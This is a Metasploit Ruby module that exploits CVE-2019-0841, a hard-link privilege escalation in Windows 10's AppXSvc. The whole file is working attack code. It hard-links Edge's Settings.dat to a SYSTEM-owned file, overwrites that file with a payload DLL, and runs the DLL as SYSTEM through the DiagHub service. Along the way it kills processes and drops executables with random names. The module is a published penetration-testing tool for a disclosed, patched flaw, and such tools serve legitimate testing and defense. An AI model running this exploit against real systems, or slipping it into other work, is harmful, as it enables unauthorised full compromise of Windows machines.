AppXSvc Hard Link Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Exploit::EXE
  include Post::File
  include Post::Windows::Priv
  include Post::Windows::FileInfo
  include Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'AppXSvc Hard Link Privilege Escalation',
        'Description' => %q{
          There exists a privilege escalation vulnerability for
          Windows 10 builds prior to build 17763. Due to the AppXSvc's
          improper handling of hard links, a user can gain full
          privileges over a SYSTEM-owned file. The user can then utilize
          the new file to execute code as SYSTEM.

          This module employs a technique using the Diagnostics Hub Standard
          Collector Service (DiagHub) which was discovered by James Forshaw to
          load and execute a DLL as SYSTEM.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Nabeel Ahmed', # Vulnerability discovery and PoC
          'James Forshaw',     # Code creating hard links and communicating with DiagHub service
          'Shelby Pace'        # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2019-0841' ],
          [ 'URL', 'https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/' ],
          [ 'URL', 'https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html' ],
          [ 'URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html' ],
          [ 'URL', 'https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html' ]
        ],
        'Platform' => 'win',
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          [ 'Windows 10', { 'Platform' => 'win' } ]
        ],
        'DisclosureDate' => '2019-04-09',
        'DefaultTarget' => 0
      )
    )
  end

  def check
    version = get_version_info
    if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1803)
      return CheckCode::Appears
    elsif version.build_number >= Msf::WindowsVersion::Win10_InitialRelease
      return CheckCode::Detected
    end

    return CheckCode::Unknown
  end

  def upload_file(file_name, file_path)
    contents = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0841', file_name))
    write_file(file_path, contents)
    register_file_for_cleanup(file_path)
  rescue StandardError
    fail_with(Failure::UnexpectedReply, 'Failed to write file contents to target')
  end

  def init_process
    print_status('Attempting to launch Microsoft Edge minimized.')
    cmd_exec('cmd.exe /c start /min microsoft-edge:', nil, 30)
  end

  def mk_hard_link(src, target, link_exe)
    out = cmd_exec("cmd.exe /c #{link_exe} \"#{src}\" \"#{target}\"")

    return (out && out.include?('Done'))
  end

  def write_payload
    print_status('Writing the payload to disk')
    code = generate_payload_dll
    @original_data = read_file(@rtf_path)
    write_file(@rtf_path, code)
  end

  def exploit
    vuln_status = check
    fail_with(Failure::NotVulnerable, 'Failed to detect Windows 10') if vuln_status == CheckCode::Unknown

    fail_with(Failure::None, 'Already running with SYSTEM privileges') if is_system?
    cmd_exec('taskkill /F /IM MicrosoftEdge.exe /FI "STATUS eq RUNNING"')
    dat_path = expand_path('%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat')
    fail_with(Failure::NotFound, 'Path does not exist') unless exist?(dat_path)

    if session.arch == ARCH_X86
      exe_name = 'CVE-2019-0841_x86.exe'
      f_name = 'diaghub_load_x86.exe'
    elsif session.arch == ARCH_X64
      exe_name = 'CVE-2019-0841_x64.exe'
      f_name = 'diaghub_load_x64.exe'
    end
    link_file_name = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(6...8)}.exe")
    upload_file(exe_name, link_file_name)

    @rtf_path = expand_path('%WINDIR%\\system32\\license.rtf')
    fail_with(Failure::UnexpectedReply, 'Did not retrieve expected output') unless mk_hard_link(dat_path, @rtf_path, link_file_name)
    print_good('Successfully created hard link')
    init_process
    cmd_exec('taskkill /F /IM MicrosoftEdge.exe')

    write_payload
    diaghub_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(8..12)}")
    upload_file(f_name, diaghub_path)
    cmd = "\"#{diaghub_path}\" \"license.rtf\""
    cmd_exec(cmd)
  end

  def cleanup
    folder_path = expand_path('%TEMP%\\etw')
    dir_rm(folder_path)

    unless @rtf_path.nil?
      write_file(@rtf_path, @original_data)
    end
    super
  end
end